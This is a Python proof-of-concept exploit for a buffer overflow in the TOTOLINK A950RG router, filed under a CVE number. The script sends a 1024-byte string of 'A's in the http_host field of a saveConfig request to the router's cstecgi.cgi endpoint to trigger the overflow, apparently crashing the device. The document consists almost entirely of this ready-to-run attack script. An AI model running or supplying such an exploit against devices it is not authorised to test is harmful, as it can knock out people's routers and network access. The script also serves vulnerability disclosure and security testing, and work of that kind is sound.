CVE-2025-60699 TOTOLINK A950RG路由器global.so缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-60699 PoC - TOTOLINK A950RG Buffer Overflow in global.so This PoC demonstrates the buffer overflow vulnerability in the getSaveConfig function by sending an oversized http_host parameter to trigger the overflow condition. Note: This is for educational and authorized security testing purposes only. """ import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1" target_port = 80 # Generate oversized payload to trigger buffer overflow # The exact buffer size may vary; 1024 bytes should exceed typical buffer limits buffer_size = 1024 overflow_payload = "A" * buffer_size url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # The vulnerable parameter is 'http_host' in the getSaveConfig function data = { "topicurl": "saveConfig", "http_host": overflow_payload } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")